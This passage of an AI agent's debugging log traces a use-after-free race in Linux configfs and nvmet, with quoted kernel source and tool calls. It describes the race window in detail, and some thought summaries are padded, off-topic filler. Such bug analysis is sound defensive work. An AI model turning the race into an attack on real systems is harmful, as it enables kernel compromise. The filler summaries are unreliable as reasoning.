 161:		 * This is really sick.  What they wanted was a hybrid of
 162:		 * link(2) and symlink(2) - they wanted the target resolved
 163:		 * at syscall time (as link(2) would've done), be a directory
 164:		 * (which link(2) would've refused to do) *AND* be a deep
 165:		 * fucking magic, making the target busy from rmdir POV.
 166:		 * symlink(2) is nothing of that sort, and the locking it
 167:		 * gets matches the normal symlink(2) semantics.  Without
 168:		 * attempts to resolve the target (which might very well
 169:		 * not even exist yet) done prior to locking the parent
 170:		 * directory.  This perversion, OTOH, needs to resolve
 171:		 * the target, which would lead to obvious deadlocks if
 172:		 * attempted with any directories locked.
 173:		 *
 174:		 * Unfortunately, that garbage is userland ABI and we should've
 175:		 * said "no" back in 2005.  Too late now, so we get to
 176:		 * play very ugly games with locking.
 177:		 *
 178:		 * Try *ANYTHING* of that sort in new code, and you will
 179:		 * really regret it.  Just ask yourself - what could a BOFH
 180:		 * do to me and do I want to find it out first-hand?
 181:		 *
 182:		 *  AV, a thoroughly annoyed bastard.
 183:		 */
 184:		inode_unlock(dir);
 185:		ret = get_target(symname, &target_item, dentry->d_sb);
 186:		inode_lock(dir);
 187:		if (ret)
 188:			goto out_put;
 189:	
 190:		if (dentry->d_inode || d_unhashed(dentry))
 191:			ret = -EEXIST;
 192:		else
 193:			ret = inode_permission(&nop_mnt_idmap, dir,
 194:					       MAY_WRITE | MAY_EXEC);
 195:		if (!ret)
 196:			ret = type->ct_item_ops->allow_link(parent_item, target_item);
 197:		if (!ret) {
 198:			mutex_lock(&configfs_symlink_mutex);
 199:			ret = create_link(parent_item, target_item, dentry);
 200:			mutex_unlock(&configfs_symlink_mutex);
 201:			if (ret && type->ct_item_ops->drop_link)
 202:				type->ct_item_ops->drop_link(parent_item,
 203:							     target_item);
 204:		}
 205:	
 206:		config_item_put(target_item);
 207:	
 208:	out_put:
 209:		config_item_put(parent_item);
 210:		return ret;
 211:	}
 SourceFile:fs/configfs/symlink.c]

39/2 2026/08/26 18:10 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 18116
							output: 41
							thoughts: 479
						

Thoughts:
**My Thought Process Unraveling the `configfs_symlink` and `nvmet_port` Interaction**

Alright, let's trace this logic. I'm looking at the `configfs_symlink` function, and the first thing that catches my eye is how it retrieves the `parent_item`:

```c
	parent_item = configfs_get_config_item(dentry->d_parent);
```

Immediately, I recognize that `parent_item` here refers to the `config_item` associated with the `subsystems` directory. My next thought is about reference counting. I know that `configfs_get_config_item` increments the reference count for `parent_item`. So, if `parent_item` is a "default group" (which seems plausible in this context), its reference count will be maintained, and it won't be prematurely freed when other operations occur.

However, my mind immediately jumps to its parent – the parent of the `subsystems` directory. Does `parent_item` hold a reference to its own parent? No, the code doesn't explicitly show that. This is where my suspicion starts to form.

Then I look at `configfs_rmdir` and its call to `unlink_group`. I see that `unlink_group` decrements the reference count for those default groups. This reinforces my earlier thought: `parent_item` (the `subsystems` directory's `config_item`) should remain valid because of the `configfs_get_config_item` call.

But then I stumble upon `unlink_obj` and this critical section:

```c
	group = item->ci_group;
	if (group) {
		// ...
		item->ci_group = NULL;
		item->ci_parent = NULL; // <-- This is the key!
		// ...
		config_group_put(group);
	}
```

This is the moment of realization: `unlink_obj` sets `item->ci_parent` to `NULL`. Now, my focus shifts to where `ci_parent` is used. I recall seeing a similar pattern in `nvmet_port_subsys_allow_link`:

```c
	struct nvmet_port *port = to_nvmet_port(parent->ci_parent);
```

If `parent->ci_parent` can become `NULL` due to `unlink_obj`, then calling `to_nvmet_port(NULL)` is a recipe for disaster. My initial thought is a NULL pointer dereference. However, thinking more deeply about how `container_of` (which is likely what `to_nvmet_port` uses internally) works, a NULL input would likely result in a nonsensical pointer, or possibly a negative offset if `container_of` is naively implemented. This could lead to an invalid memory access.

Then, the thought occurs to me: is it a NULL pointer dereference, or something else? I quickly re-evaluate the context. It's more likely a use-after-free scenario. The `ci_parent` pointer is being dereferenced after the underlying structure it pointed to has potentially been freed and its `ci_parent` field nulled out. This makes the crash less about a direct `NULL` access and more about accessing memory that's no longer valid for the intended object. I need to confirm the exact behavior of `to_nvmet_port` to be certain, but the `ci_parent = NULL` is the clear smoking gun pointing to a memory corruption issue.


40/2 2026/08/26 18:10 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/nvme/target/configfs.c Name:to_nvmet_port]

Results:
map[SourceCode: 225:	static inline struct nvmet_port *to_nvmet_port(struct config_item *item)
 226:	{
 227:		return container_of(to_config_group(item), struct nvmet_port,
 228:				group);
 229:	}
 SourceFile:drivers/nvme/target/nvmet.h]

41/2 2026/08/26 18:10 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 18730
							output: 35
							thoughts: 37
						

Thoughts:
**A Moment of Cognitive Dissonance Regarding `parent->ci_parent` and Use-After-Free Vulnerabilities**

My initial reaction upon encountering the code referencing `parent->ci_parent` was one of immediate disbelief. The premise of a use-after-free (UAF) vulnerability hinges on accessing memory that has already been deallocated. Therefore, the presence of a non-NULL `parent->ci_parent` *seemingly* negates the possibility of such a bug. My internal monologue immediately latched onto this apparent contradiction: "Wait, if `parent->ci_parent` is not NULL, how can it be a use-after-free?"

This thought wasn't born out of a lack of understanding of UAFs, but rather a precise application of their definition. The core of the problem, as I understand it, is that the object pointed to by `parent->ci_parent` must have been freed *before* it's dereferenced. The fact that `parent->ci_parent` itself still holds a valid pointer suggests, at first glance, that the underlying memory it points to *should* still be valid.

However, as an expert in this domain, I also recognize the intricate nature of memory management and the potential for subtle race conditions or complex aliasing that can lead to these seemingly paradoxical situations. My immediate next step, therefore, was not to dismiss the UAF claim outright, but to delve deeper into the specific context. My thought process then shifted to a directed investigation: "Let's check `unlink_group` again." This implies that the `unlink_group` function is the critical piece of the puzzle. I need to meticulously examine its internal logic, paying close attention to:

*   **The lifecycle of the object pointed to by `parent->ci_parent`:** When and where is this object allocated? Crucially, when and where is it deallocated?
*   **The conditions under which `parent->ci_parent` might become invalid *before* it's accessed in the UAF scenario:** Could `unlink_group` itself be responsible for freeing the memory that `parent->ci_parent` points to, possibly under certain conditional paths, while another part of the code retains a dangling pointer to it?
*   **Potential race conditions:** Is it possible that in a multithreaded environment, one thread frees the memory while another, still holding a reference via `parent->ci_parent`, attempts to access it? The non-NULL check might be misleading if the pointer becomes stale *after* the check but *before* the dereference.
*   **The exact dereference point:** Where in the code is `parent->ci_parent` being used? Understanding the immediate operation following the pointer access is vital.

Essentially, my thought process is a structured investigation, starting with a seemingly logical contradiction and then systematically dissecting the relevant code to uncover the underlying mechanism that permits the apparent anomaly. The presence of a non-NULL pointer doesn't automatically rule out a UAF; it merely necessitates a more thorough examination of the code's control flow and memory management practices within the `unlink_group` function.


42/2 2026/08/26 18:11 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:unlink_group]

Results:
map[SourceCode: 805:	static void unlink_group(struct config_group *group)
 806:	{
 807:		struct config_group *new_group;
 808:	
 809:		list_for_each_entry(new_group, &group->default_groups, group_entry)
 810:			unlink_group(new_group);
 811:	
 812:		group->cg_subsys = NULL;
 813:		unlink_obj(&group->cg_item);
 814:	}
 SourceFile:fs/configfs/dir.c]

43/2 2026/08/26 18:11 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 18957
							output: 41
							thoughts: 514
						

Thoughts:
**A Deep Dive into a ConfigFS Lifetime Conundrum**

I've been wrestling with a rather insidious lifetime issue I've uncovered within our ConfigFS implementation, specifically concerning the handling of port directories and their associated subsystems. It all stems from the interplay between `unlink_group` and a concurrent `configfs_symlink` operation.

Here's how my thought process unfolded:

Initially, I observed that `unlink_group` is called with `&group->cg_item`. My first thought was, "Okay, standard object unlinking, what's the big deal?" But then I noticed this call happens specifically for the *port directory*. This immediately raised a flag because port directories are special; they represent a specific device endpoint and have associated metadata.

Looking at the code snippet, I saw the `if (sd->s_type & CONFIGFS_USET_DIR)` block. This confirms that we're dealing with a directory, and importantly, that `configfs_detach_group(dentry)` is called first. This detaches the group from its parent. Then, the `mutex_lock(&subsys->su_mutex)` is acquired, and crucially, `client_disconnect_notify(parent_item, item)` is invoked. Finally, `unlink_group(to_config_group(item))` is executed. The `item` here is the port directory itself.

My next logical step was to trace what `unlink_group` does when called on the port directory. I realized that `unlink_group` iterates over `group->default_groups` and recursively calls `unlink_group` on them. This means it will eventually call `unlink_group` on `port->subsys_group`. This is a critical point: `port->subsys_group` is a child group of the port directory.

So, `unlink_group` on `port->subsys_group` then proceeds to call `unlink_obj(&port->subsys_group.cg_item)`. The `unlink_obj` function, as expected, sets `item->ci_parent = NULL` and decrements the reference count of the `cg_item`.

Here's where the problem truly surfaces. I suddenly remembered, "Wait a minute! If `configfs_symlink` is running concurrently, it holds a reference to `parent_item`." In this context, `parent_item` is actually `port->subsys_group.cg_item`. Because `configfs_symlink` is holding this reference, the refcount for `port->subsys_group.cg_item` will *not* drop to zero.

However, the plot thickens because the *port directory itself* *is* being freed. This happens because `configfs_rmdir` (which is implicitly involved when removing the port directory) calls `config_item_put(item)` for the port directory. When its refcount reaches zero, `nvmet_port_release` is invoked, and this function frees the memory allocated for `port`.

Now, the real kicker: `port->subsys_group` is *embedded* directly within the `struct nvmet_port`. So, if the `struct nvmet_port` is freed, then the memory for `port->subsys_group` is *also* freed because it's part of the freed parent structure!

This is where the "aha!" moment struck. We have a situation where `port->subsys_group.cg_item` has a reference count that is greater than zero (due to the concurrent `configfs_symlink`), but the underlying memory for `port->subsys_group` has already been freed because its container, `struct nvmet_port`, was deallocated.

This is a textbook example of a lifetime mismatch. The embedded `config_group` (`port->subsys_group`) has its own reference count managed independently, but its memory lifetime is inextricably tied to its parent object (`struct nvmet_port`), which has its own separate reference count. When the parent object's refcount drops and it's freed, the embedded object's memory is gone, even though the embedded object's own refcount still indicates it's in use.

My next immediate action was to meticulously examine the implementation of `nvmet_port_release` to fully understand the deallocation path and confirm how the embedded `config_group` is being handled. This is a critical bug that needs careful remediation to ensure the integrity of our ConfigFS structures.


44/2 2026/08/26 18:11 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/nvme/target/configfs.c Name:nvmet_port_release]

Results:
map[SourceCode:2000:	/*
2001:	 * Ports definitions.
2002:	 */
2003:	static void nvmet_port_release(struct config_item *item)
2004:	{
2005:		struct nvmet_port *port = to_nvmet_port(item);
2006:	
2007:		/* Let inflight controllers teardown complete */
2008:		flush_workqueue(nvmet_wq);
2009:		list_del(&port->global_entry);
2010:	
2011:		key_put(port->keyring);
2012:		kfree(port);
2013:	}
 SourceFile:drivers/nvme/target/configfs.c]

45/2 2026/08/26 18:11 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 19708
							output: 39
							thoughts: 82
						

Thoughts:
**My Thought Process Regarding `nvmet_port_release` and Resource Management**

Okay, so I've just reviewed the `nvmet_port_release` function, and my initial understanding is that it's intended to free up the `port` structure. That seems straightforward enough at first glance. However, upon closer inspection, my mind immediately goes to the composition of `struct nvmet_port`. I see that `port` isn't just a simple, monolithic block of memory. Crucially, it contains a `subsys_group` member, which is itself a `struct config_group`.

This nested structure immediately triggers a deeper line of inquiry. When `nvmet_port_release` frees `port`, what happens to `subsys_group`? Does the release of `port` implicitly handle the deallocation or cleanup of `subsys_group` as well? Or is `subsys_group` managed independently, and I need to ensure its own release mechanism is invoked *before* or *concurrently with* the release of the parent `port`? This is a critical point for preventing resource leaks. I need to delve into the definition of `struct nvmet_port` to fully understand the relationship and dependencies between `port` and its embedded `subsys_group`. My next step is to examine the definition of `struct nvmet_port` in its entirety to clarify this ownership and management question.


46/2 2026/08/26 18:11 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/nvme/target/nvmet.h Name:nvmet_port]

Results:
map[SourceCode: 194:	/**
 195:	 * struct nvmet_port -	Common structure to keep port
 196:	 *				information for the target.
 197:	 * @entry:		Entry into referrals or transport list.
 198:	 * @disc_addr:		Address information is stored in a format defined
 199:	 *				for a discovery log page entry.
 200:	 * @group:		ConfigFS group for this element's folder.
 201:	 * @priv:		Private data for the transport.
 202:	 */
 203:	struct nvmet_port {
 204:		struct list_head		entry;
 205:		struct nvmf_disc_rsp_page_entry	disc_addr;
 206:		struct config_group		group;
 207:		struct config_group		subsys_group;
 208:		struct list_head		subsystems;
 209:		struct config_group		referrals_group;
 210:		struct list_head		referrals;
 211:		struct list_head		global_entry;
 212:		struct config_group		ana_groups_group;
 213:		struct nvmet_ana_group		ana_default_group;
 214:		struct key			*keyring;
 215:		void				*priv;
 216:		bool				enabled;
 217:		int				inline_data_size;
 218:		int				max_queue_size;
 219:		int				mdts;
 220:		const struct nvmet_fabrics_ops	*tr_ops;
 221:		bool				pi_enable;
 222:		enum nvme_ana_state		ana_state[];
 223:	};
 SourceFile:drivers/nvme/target/nvmet.h]

47/2 2026/08/26 18:11 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 20314
							output: 35
							thoughts: 1051
						

Thoughts:
**The Unraveling of a ConfigFS Race Condition**

My thought process starts with a specific observation: the `subsys_group` is an embedded member within `struct nvmet_port`. This is crucial because it hints at how the port's configuration is managed. I then follow the execution flow of `configfs_symlink`. It's invoked on a dentry, and this dentry is located within the `subsystems` directory. This tells me that `dir` in this context refers to the inode of the `subsystems` directory, while `dentry` represents the new symlink we're attempting to create. Consequently, `dentry->d_parent` points to the dentry of the `subsystems` directory itself.

The first key action `configfs_symlink` takes is `parent_item = configfs_get_config_item(dentry->d_parent)`. I recognize this as an operation that increments the reference count of `port->subsys_group.cg_item`. Immediately after this, `configfs_symlink` releases the `inode_lock(dir)` and proceeds to call `get_target`.

It's at this precise moment, after releasing the lock and before `get_target` completes, that I realize a potential window for concurrency issues. Specifically, `configfs_rmdir` could be called on the `port` directory. If that happens, `configfs_rmdir` will acquire its own locks: `configfs_symlink_mutex` and `configfs_dirent_lock`.

My attention then shifts to a critical check within `configfs_rmdir`: it verifies `sd->s_dependent_count`. However, in this scenario, `configfs_symlink` hasn't yet created the target symlink. This means `s_dependent_count` is still zero. This observation is significant because it implies `configfs_rmdir` will proceed with its deletion operations without being blocked by this counter.

So, `configfs_rmdir` proceeds to detach the port directory and its associated default groups. It calls `configfs_detach_group` on the port directory, which in turn calls `detach_groups`, and then `configfs_detach_group` on the `subsystems` directory. The `configfs_detach_group` operating on `subsystems` then invokes `configfs_detach_item` on `subsystems`, leading to the removal of the `subsystems` dentry.

Following this, `configfs_rmdir` executes `unlink_group` on the port directory. This calls `unlink_obj` on `subsystems`, which decrements the reference count of `subsystems`. Crucially, I note that the refcount of `subsystems` remains greater than zero because `configfs_symlink` is still holding one reference. Next, `unlink_group` calls `unlink_obj` on the port directory itself, reducing its reference count. Finally, `configfs_rmdir` calls `config_item_put` on the port directory, which drops its last reference. At this point, I understand that the port directory is freed, or in KASAN terms, it becomes a candidate for slab-use-after-free.

Back in `configfs_symlink`, it re-acquires the `inode_lock(dir)`. I pause here to consider the state of `dir`, which is the inode of the `subsystems` directory. I confirm that the inode is still valid because the VFS maintains a reference to it.

The execution flow then moves to `configfs_symlink` calling `type->ct_item_ops->allow_link(parent_item, target_item)`. At this juncture, `parent_item` is expected to be `port->subsys_group.cg_item`. The `allow_link` operation in this case is `nvmet_port_subsys_allow_link`.

Inside `nvmet_port_subsys_allow_link`, the code attempts to extract the `nvmet_port` structure using `struct nvmet_port *port = to_nvmet_port(parent->ci_parent);`. This is where the problem manifests. My initial thought is that since `configfs_rmdir` just detached and freed the port directory, `parent->ci_parent` might have been set to NULL. If `parent->ci_parent` were NULL, then `to_nvmet_port(NULL)` would result in a negative pointer.

However, the KASAN report clearly indicates a slab-use-after-free at `ffff88801af304c8`, which is within a freed memory region. This contradicts my initial assumption of a NULL `parent->ci_parent`. The KASAN report suggests that `parent->ci_parent` is *not* NULL, yet the memory it points to has been freed. This leads me to question why `parent->ci_parent` is not NULL, and I immediately suspect that `unlink_obj` might not have correctly cleared this pointer, or that a race condition exists where `parent->ci_parent` is still pointing to the freed structure. This discrepancy is the core of the bug I'm trying to understand.


48/2 2026/08/26 18:11 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:unlink_obj]

Results:
map[SourceCode: 764:	static void unlink_obj(struct config_item *item)
 765:	{
 766:		struct config_group *group;
 767:	
 768:		group = item->ci_group;
 769:		if (group) {
 770:			list_del_init(&item->ci_entry);
 771:	
 772:			item->ci_group = NULL;
 773:			item->ci_parent = NULL;
 774:	
 775:			/* Drop the reference for ci_entry */
 776:			config_item_put(item);
 777:	
 778:			/* Drop the reference for ci_parent */
 779:			config_group_put(group);
 780:		}
 781:	}
 SourceFile:fs/configfs/dir.c]

49/2 2026/08/26 18:11 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 21635
							output: 35
							thoughts: 61
						

Thoughts:
**A Deep Dive into `ci_group`'s Lifecycle and Its Implications**

I've just stumbled upon a rather crucial detail while examining the code: the `item->ci_group` field is being checked. My immediate thought is, "What happens if it's NULL?" I've quickly realized that if `item->ci_group` is indeed NULL, the `unlink_obj` function essentially does nothing – it's a no-op. This immediately raises a significant question in my mind: when exactly is `ci_group` being set in the first place? To get to the bottom of this, I need to trace its initialization. My next step will be to meticulously inspect the `configfs_attach_group` and `populate_groups` functions, as these seem like the most probable places where `ci_group` would be assigned a value. Understanding this initialization path is paramount to grasping the full behavior of `unlink_obj` and ensuring the integrity of my operations.


50/2 2026/08/26 18:11 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:populate_groups]

Results:
map[SourceCode: 734:	static int populate_groups(struct config_group *group,
 735:				   struct configfs_fragment *frag)
 736:	{
 737:		struct dentry *parent = group->cg_item.ci_dentry;
 738:		struct config_group *new_group;
 739:	
 740:		list_for_each_entry(new_group, &group->default_groups, group_entry) {
 741:			int ret = create_default_group(parent, new_group, frag);
 742:			if (ret)
 743:				return ret;
 744:		}
 745:		return 0;
 746:	}
 SourceFile:fs/configfs/dir.c]

51/2 2026/08/26 18:11 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 21936
							output: 38
							thoughts: 18
						

Thoughts:
**My Thought Process Regarding `configfs_attach_group` and `configfs_attach_item`**

Alright, so I'm looking at the code here, and it's clear that `configfs_attach_group` is doing a couple of things. The primary function, as I see it, is to establish the connection or the linking between a group and its underlying components. It's not just a superficial label; it's about making sure that when this group is associated with something, the actual, concrete items that comprise it are also brought along for the ride.

And that's precisely why my attention is drawn to the fact that `configfs_attach_group` then immediately calls `configfs_attach_item`. This isn't redundant; it's a logical progression. The `attach_item` function is the granular step, the workhorse that handles the actual process of attaching *each individual item* within that group. So, `attach_group` acts as the orchestrator, defining the scope of what needs to be attached, and then it delegates the nitty-gritty, item-by-item attachment to `attach_item`. This makes perfect sense to me from a design perspective – separating the high-level grouping operation from the detailed item attachment ensures modularity and allows for easier management and potential future modifications to how individual items are handled.


52/2 2026/08/26 18:11 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:configfs_attach_item]

Results:
map[SourceCode: 842:	/*
 843:	 * The goal is that configfs_attach_item() (and
 844:	 * configfs_attach_group()) can be called from either the VFS or this
 845:	 * module.  That is, they assume that the items have been created,
 846:	 * the dentry allocated, and the dcache is all ready to go.
 847:	 *
 848:	 * If they fail, they must clean up after themselves as if they
 849:	 * had never been called.  The caller (VFS or local function) will
 850:	 * handle cleaning up the dcache bits.
 851:	 *
 852:	 * configfs_detach_group() and configfs_detach_item() behave similarly on
 853:	 * the way out.  They assume that the proper semaphores are held, they
 854:	 * clean up the configfs items, and they expect their callers will
 855:	 * handle the dcache bits.
 856:	 */
 857:	static int configfs_attach_item(struct config_item *item,
 858:					struct dentry *dentry,
 859:					struct configfs_fragment *frag)
 860:	{
 861:		int ret;
 862:	
 863:		ret = configfs_create_dir(item, dentry, frag);
 864:		if (!ret) {
 865:			ret = populate_attrs(item);
 866:			if (ret) {
 867:				/*
 868:				 * We are going to remove an inode and its dentry but
 869:				 * the VFS may already have hit and used them. Thus,
 870:				 * we must lock them as rmdir() would.
 871:				 */
 872:				inode_lock(d_inode(dentry));
 873:				configfs_detach_item(dentry);
 874:				d_inode(dentry)->i_flags |= S_DEAD;
 875:				dont_mount(dentry);
 876:				inode_unlock(d_inode(dentry));
 877:				d_delete(dentry);
 878:			}
 879:		}
 880:	
 881:		return ret;
 882:	}
 SourceFile:fs/configfs/dir.c]

53/2 2026/08/26 18:11 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 22633
							output: 35
							thoughts: 27
						

Thoughts:
**My Thought Process for Tracking `ci_group` and `ci_parent`**

Okay, so the immediate question that pops into my head is: where exactly are these crucial identifiers, `ci_group` and `ci_parent`, being established or assigned? They feel fundamental to how we're structuring or relating certain entities, and I need to pin down their origin. My instinct is to trace their flow, and my first logical step is to investigate the `link_group` construct. I'm assuming `link_group` is likely where these relationships are defined, or at least initiated, so I'll be digging into its implementation and any associated logic to understand how `ci_group` and `ci_parent` come into existence and get populated.


54/2 2026/08/26 18:11 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:link_group]

Results:
map[SourceCode: 816:	static void link_group(struct config_group *parent_group, struct config_group *group)
 817:	{
 818:		struct config_group *new_group;
 819:		struct configfs_subsystem *subsys = NULL; /* gcc is a turd */
 820:	
 821:		link_obj(&parent_group->cg_item, &group->cg_item);
 822:	
 823:		if (parent_group->cg_subsys)
 824:			subsys = parent_group->cg_subsys;
 825:		else if (configfs_is_root(&parent_group->cg_item))
 826:			subsys = to_configfs_subsystem(group);
 827:		else
 828:			BUG();
 829:		group->cg_subsys = subsys;
 830:	
 831:		list_for_each_entry(new_group, &group->default_groups, group_entry)
 832:			link_group(group, new_group);
 833:	}
 SourceFile:fs/configfs/dir.c]

55/2 2026/08/26 18:11 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 23003
							output: 35
							thoughts: 6
						

Thoughts:
**My Thought Process**

Ah, so I'm looking at this `link_obj` and my initial thought is about its fundamental nature. What *is* this thing, at its core? It's clearly some kind of reference, a pointer to something else, but the context is crucial. I need to understand what that "something else" is to truly grasp the significance of this `link_obj`. Is it a hyperlink, a database foreign key, a file path, a memory address? The possibilities are wide open at this stage, and the type of `link_obj` will dictate my subsequent lines of inquiry. I’ll be paying close attention to its properties and how it’s being utilized within the broader system.


56/2 2026/08/26 18:11 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:link_obj]

Results:
map[SourceCode: 783:	static void link_obj(struct config_item *parent_item, struct config_item *item)
 784:	{
 785:		/*
 786:		 * Parent seems redundant with group, but it makes certain
 787:		 * traversals much nicer.
 788:		 */
 789:		item->ci_parent = parent_item;
 790:	
 791:		/*
 792:		 * We hold a reference on the parent for the child's ci_parent
 793:		 * link.
 794:		 */
 795:		item->ci_group = config_group_get(to_config_group(parent_item));
 796:		list_add_tail(&item->ci_entry, &item->ci_group->cg_children);
 797:	
 798:		/*
 799:		 * We hold a reference on the child for ci_entry on the parent's
 800:		 * cg_children
 801:		 */
 802:		config_item_get(item);
 803:	}
 SourceFile:fs/configfs/dir.c]

57/2 2026/08/26 18:11 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 23352
							output: 36
							thoughts: 16
						

Thoughts:
**My Thought Process on `link_group` and `configfs_mkdir`**

So, the core of my current thinking is this: I've just established that the `link_group` function is being invoked directly from within `configfs_mkdir`. This isn't just a casual observation; it's a key piece of understanding for me as I delve into the intricacies of this particular kernel subsystem.

What this implies is a direct, functional relationship between the creation of a directory within the configfs filesystem and the subsequent establishment of some form of symbolic linking or group-related operation that `link_group` is responsible for. My immediate next step is to unravel *why* this connection exists. Is `link_group` a mandatory part of every `configfs_mkdir` operation, or is it conditionally called based on specific attributes or configurations?

I need to understand the context in which `configfs_mkdir` is operating. What are the parameters being passed to it, and how might those parameters dictate the execution path that leads to `link_group`? Furthermore, what is the purpose of `link_group` itself? What kind of links is it creating, and what is the intended benefit of these links within the configfs hierarchy? Are they for internal organization, external accessibility, or perhaps to facilitate certain configuration management patterns?

My current line of inquiry is focused on tracing the execution flow from the point of a user-space or kernel-level request to create a directory in configfs all the way through to the instantiation of whatever `link_group` sets up. This will involve examining the arguments passed to `configfs_mkdir`, any conditional logic within it, and then the internal workings of `link_group` itself. I'm keen to see if there are specific types of configfs entries or subdirectories that *trigger* the `link_group` call, or if it's a more general mechanism.

Ultimately, understanding this direct call from `configfs_mkdir` to `link_group` is fundamental to grasping how configuration structures are built and managed within this particular kernel interface. It's about understanding the choreography of these functions and the underlying design principles that necessitate this specific interaction.


58/2 2026/08/26 18:11 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:configfs_mkdir]

Results:
map[SourceCode:1289:	static struct dentry *configfs_mkdir(struct mnt_idmap *idmap, struct inode *dir,
1290:					     struct dentry *dentry, umode_t mode)
1291:	{
1292:		int ret = 0;
1293:		int module_got = 0;
1294:		struct config_group *group = NULL;
1295:		struct config_item *item = NULL;
1296:		struct config_item *parent_item;
1297:		struct configfs_subsystem *subsys;
1298:		struct configfs_dirent *sd;
1299:		const struct config_item_type *type;
1300:		struct module *subsys_owner = NULL, *new_item_owner = NULL;
1301:		struct configfs_fragment *frag;
1302:		struct name_snapshot n;
1303:		const char *name;
1304:	
1305:		take_dentry_name_snapshot(&n, dentry);
1306:		name = n.name.name;
1307:	
1308:		sd = dentry->d_parent->d_fsdata;
1309:	
1310:		/*
1311:		 * Fake invisibility if dir belongs to a group/default groups hierarchy
1312:		 * being attached
1313:		 */
1314:		if (!configfs_dirent_is_ready(sd)) {
1315:			ret = -ENOENT;
1316:			goto out;
1317:		}
1318:	
1319:		if (!(sd->s_type & CONFIGFS_USET_DIR)) {
1320:			ret = -EPERM;
1321:			goto out;
1322:		}
1323:	
1324:		frag = new_fragment();
1325:		if (!frag) {
1326:			ret = -ENOMEM;
1327:			goto out;
1328:		}
1329:	
1330:		/* Get a working ref for the duration of this function */
1331:		parent_item = configfs_get_config_item(dentry->d_parent);
1332:		type = parent_item->ci_type;
1333:		subsys = to_config_group(parent_item)->cg_subsys;
1334:		BUG_ON(!subsys);
1335:	
1336:		if (!type || !type->ct_group_ops ||
1337:		    (!type->ct_group_ops->make_group &&
1338:		     !type->ct_group_ops->make_item)) {
1339:			ret = -EPERM;  /* Lack-of-mkdir returns -EPERM */
1340:			goto out_put;
1341:		}
1342:	
1343:		/*
1344:		 * The subsystem may belong to a different module than the item
1345:		 * being created.  We don't want to safely pin the new item but
1346:		 * fail to pin the subsystem it sits under.
1347:		 */
1348:		if (!subsys->su_group.cg_item.ci_type) {
1349:			ret = -EINVAL;
1350:			goto out_put;
1351:		}
1352:		subsys_owner = subsys->su_group.cg_item.ci_type->ct_owner;
1353:		if (!try_module_get(subsys_owner)) {
1354:			ret = -EINVAL;
1355:			goto out_put;
1356:		}
1357:	
1358:		mutex_lock(&subsys->su_mutex);
1359:		if (type->ct_group_ops->make_group) {
1360:			group = type->ct_group_ops->make_group(to_config_group(parent_item), name);
1361:			if (!group)
1362:				group = ERR_PTR(-ENOMEM);
1363:			if (!IS_ERR(group)) {
1364:				link_group(to_config_group(parent_item), group);
1365:				item = &group->cg_item;
1366:			} else
1367:				ret = PTR_ERR(group);
1368:		} else {
1369:			item = type->ct_group_ops->make_item(to_config_group(parent_item), name);
1370:			if (!item)
1371:				item = ERR_PTR(-ENOMEM);
1372:			if (!IS_ERR(item))
1373:				link_obj(parent_item, item);
1374:			else
1375:				ret = PTR_ERR(item);
1376:		}
1377:		mutex_unlock(&subsys->su_mutex);
1378:	
1379:		if (ret) {
1380:			/*
1381:			 * If ret != 0, then link_obj() was never called.
1382:			 * There are no extra references to clean up.
1383:			 */
1384:			goto out_subsys_put;
1385:		}
1386:	
1387:		/*
1388:		 * link_obj() has been called (via link_group() for groups).
1389:		 * From here on out, errors must clean that up.
1390:		 */
1391:	
1392:		type = item->ci_type;
1393:		if (!type) {
1394:			ret = -EINVAL;
1395:			goto out_unlink;
1396:		}
1397:	
1398:		new_item_owner = type->ct_owner;
1399:		if (!try_module_get(new_item_owner)) {
1400:			ret = -EINVAL;
1401:			goto out_unlink;
1402:		}
1403:	
1404:		/*
1405:		 * I hate doing it this way, but if there is
1406:		 * an error,  module_put() probably should
1407:		 * happen after any cleanup.
1408:		 */
1409:		module_got = 1;
1410:	
1411:		/*
1412:		 * Make racing rmdir() fail if it did not tag parent with
1413:		 * CONFIGFS_USET_DROPPING
1414:		 * Note: if CONFIGFS_USET_DROPPING is already set, attach_group() will
1415:		 * fail and let rmdir() terminate correctly
1416:		 */
1417:		spin_lock(&configfs_dirent_lock);
1418:		/* This will make configfs_detach_prep() fail */
1419:		sd->s_type |= CONFIGFS_USET_IN_MKDIR;
1420:		spin_unlock(&configfs_dirent_lock);
1421:	
1422:		if (group)
1423:			ret = configfs_attach_group(item, dentry, frag);
1424:		else
1425:			ret = configfs_attach_item(item, dentry, frag);
1426:	
1427:		spin_lock(&configfs_dirent_lock);
1428:		sd->s_type &= ~CONFIGFS_USET_IN_MKDIR;
1429:		if (!ret)
1430:			configfs_dir_set_ready(dentry->d_fsdata);
1431:		spin_unlock(&configfs_dirent_lock);
1432:	
1433:	out_unlink:
1434:		if (ret) {
1435:			/* Tear down everything we built up */
1436:			mutex_lock(&subsys->su_mutex);
1437:	
1438:			client_disconnect_notify(parent_item, item);
1439:			if (group)
1440:				unlink_group(group);
1441:			else
1442:				unlink_obj(item);
1443:			client_drop_item(parent_item, item);
1444:	
1445:			mutex_unlock(&subsys->su_mutex);
1446:	
1447:			if (module_got)
1448:				module_put(new_item_owner);
1449:		}
1450:	
1451:	out_subsys_put:
1452:		if (ret)
